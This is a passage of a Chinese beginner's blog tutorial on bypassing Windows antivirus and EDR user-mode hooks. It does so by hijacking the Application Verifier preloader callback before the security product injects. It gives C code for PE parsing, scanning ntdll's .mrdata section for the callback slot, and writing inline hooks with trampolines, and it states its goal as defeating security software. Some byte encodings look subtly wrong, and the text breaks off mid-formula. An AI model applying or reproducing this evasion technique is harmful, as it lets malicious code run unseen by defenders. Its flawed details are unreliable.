[新手向] 通过 Preloader 技术在进程初始化阶段绕过用户态 Hook

一、引言

在 Windows 平台上,大多数终端安全产品通过用户态 Inline Hook 来拦截敏感的系统调用。它们的做法是修改 ntdll.dll 中 syscall stub 的开头几个字节,将 mov r10, rcx; mov eax, SSN 替换为一条 jmp 指令,跳转到自身的检测引擎中进行分析,然后再决定是否放行。

; ntdll.dll 正常 syscall stub 前缀
4C 8B D1          mov r10, rcx
B8???? ??    mov eax, <syscall_number>

; 被安全软件 Hook 后
E9?? ?? ??    jmp <hook_handler>

这种 Hook 在进程创建之初就通过 LdrInitializeThunk 中的 DLL 加载顺序生效——安全软件的 DLL 往往早于 kernel32.dll 被注入,因此它们可以在用户代码执行之前就完成 Hook 部署。

然而,这也留下了一个时间窗口:如果我们能在 DLL 初始化之前介入加载流程,就能在安全软件的 Hook 尚未部署时将其"废掉"。

本文介绍一种基于 Application Verifier Preloader 回调的绕过方案,在所有用户态 Hook 生效之前取得控制权。

二、杀软查杀过程

杀软的查杀过程主要包括拦截 VirtualAlloc 调用、检查分配内存是否可疑以及扫描写入内容是否为恶意代码等步骤。如果发现不对劲,就会报警或阻止。

杀软的应用层核心手段是 User - Mode Hook。在 Windows 中,所有系统调用都要经过 ntdll.dll 这个"传达室":你的程序 → kernel32!VirtualAlloc → ntdll!NtAllocateVirtualMemory → 内核。

杀软会在 ntdll 函数开头修改指令,把正常代码改成跳转:
原来:

mov r10, rcx        ; 正常 syscall 前缀
mov eax, 0x18       ; 系统调用号
syscall

被 Hook 后:

jmp EdrCheckFunc    ; 先跳到 EDR 检查
...                 ; 原始指令被覆盖

这样每次程序调用系统函数,都先经过软件的检查,这也是被杀软监控后程序变慢的原因。

杀软是在进程启动后,把自己的 DLL 注入进去,然后才能修改 ntdll 的代码。在进程刚开始、EDR 还没注入的那一瞬间,这个进程是"干净的",这就是我们要抓住的机会。

三、核心突破点

(一)进程的创建过程

Windows 创建进程的过程大致是:

  1. 加载器加载 ntdll.dll。
  2. 加载 kernel32.dll。
  3. EDR 注入。
  4. EDR 装 Hook。
  5. 程序开始执行。

关键时间窗口:步骤 3 刚开始时,只有 ntdll.dll 加载了,EDR 的 DLL 还没注入。这时候如果能执行一段代码,就可以在 EDR 安装 hook 之前把它的路堵死。

我们的流程是:加载器 → 触发我们的回调 → 堵死 EDR 的注入路径 → 等 EDR 来时已经晚了。

(二)被 Hook 函数的模拟跳转过程

我们通过创建子进程,然后注入阉割的模块,实现绕过杀软。

四、细节(重要)

(一)SafeRuntime:为什么不能用标准库?

在加载器回调执行时,VC Runtime 还没初始化。调用 strlen、memcpy 会崩溃。所以必须自己实现这些最基本的内存操作,且不依赖任何外部符号。

size_t SafeStrLen(const char* str)
{
    size_t i = 0;
    while (str[i]) i++;
    return i;
}

void SafeMemCpy(void* dest, const void* src, size_t len)
{
    unsigned char* d = (unsigned char*)dest;
    const unsigned char* s = (const unsigned char*)src;
    while (len--) *d++ = *s++;
}

(二)PE 解析:找到藏起来的回调地址

  1. 定位.mrdata 节
    每个 PE 文件(exe / dll)都有一个节表,列出了各节的名称、位置和大小。我们遍历节表,找到名为 .mrdata 的节:

    ULONG_PTR PeGetSectionBase(ULONG_PTR base, const char* name)
    {
     IMAGE_DOS_HEADER*   dos = (IMAGE_DOS_HEADER*)base;
     IMAGE_NT_HEADERS*   nt  = (IMAGE_NT_HEADERS*)(base + dos->e_lfanew);
     IMAGE_SECTION_HEADER* sec = (IMAGE_SECTION_HEADER*)((ULONG_PTR)nt + sizeof(IMAGE_NT_HEADERS));
    
     WORD count = nt->FileHeader.NumberOfSections;
     for (WORD i = 0; i < count; i++)
         if (SafeMemCmp(name, sec[i].Name, SafeStrLen(name)) == 0)
             return base + sec[i].VirtualAddress;
     return 0;
    }
  2. PE 文件内存布局

    +0x00   [某全局变量]
    +0x08   [某全局变量]
    ...
    +N      [LdrpMrdataBase]  = &mrdata    ← 值等于自身基址的指针
    +N+8    [AvrfpCallbacksEnabled] = FALSE ← 1 字节 + 7 字节 padding
    +N+16   [AvrfpCallbackRoutine] = NULL   ← 我们要找的
  3. 扫描算法
    遍历 .mrdata 每 8 字节,找值为 mrdataBase 的指针 → 这就是 LdrpMrdataBase;从 LdrpMrdataBase 往后找第一个 NULL 指针 → 这就是 AvrfpAPILookupCallbackRoutine。

    ULONG_PTR FindAvrfpAddress(ULONG_PTR mrdataBase, ULONG_PTR mrdataSize)
    {
     ULONG_PTR* ptr = (ULONG_PTR*)mrdataBase;
     ULONG_PTR  ldrpMrdata = 0;
    
     //1: 扫描找到 LdrpMrdataBase
     for (ULONG_PTR i = 0; i < mrdataSize / sizeof(ULONG_PTR); i++, ptr++)
     {
         if (*ptr == mrdataBase) { ldrpMrdata = (ULONG_PTR)ptr; break; }
     }
     if (!ldrpMrdata) return 0;
    
     //2: 往后找第一个 NULL 指针
     ptr = (ULONG_PTR*)ldrpMrdata;
     for (int i = 0; i < 10; i++, ptr++)
     {
         if (*ptr == 0) return (ULONG_PTR)ptr;
     }
     return 0;
    }

(三)内联 Hook:如何劫持一个函数?

内联 Hook 的原理很简单——在目标函数开头写入一条跳转指令,把执行流重定向到我们的函数。

但这有个 tricky 的地方:x64 指令是变长的(1 到 15 字节),不能随便找个位置截断!

  1. 绝对跳转
    我们使用 12 字节的绝对跳转:

  2. B8 XX XX XX XX XX XX XX XX mov rax, <64位地址>
    FF E0 jmp rax

    为什么不用更短的 `E9 XX XX XX XX`(5 字节)?因为 x64 用户态地址跨度太大,相对跳转的正负 2GB 范围不够可靠。
  3. 跳板 (Trampoline)
    被覆盖的原始指令不能丢——我们的 hook 函数可能需要调用原始功能。所以要把它们保存到一个"跳板"里。
  4. 反汇编确定截断位置
    我们用 HDE64 反汇编引擎逐条分析指令,累计到 ≥ 12 字节:

    SIZE_T total = 0;
    BYTE*  ip    = (BYTE*)target;
    while (total < HOOK_SIZE)
    {
     hde64s hs;
     SIZE_T len = hde64_disasm(&ip[total], &hs);
     if (len == 0 || (hs.flags & F_ERROR)) return;  // 反汇编失败就放弃
     total += len;
    }

(四)系统指针编码

ntdll 内部指针是加密存储的(防漏洞利用):

encoded = ROTR64(Cookie XOR pointer, Cookie & 0x3F
0

评论 (0)

取消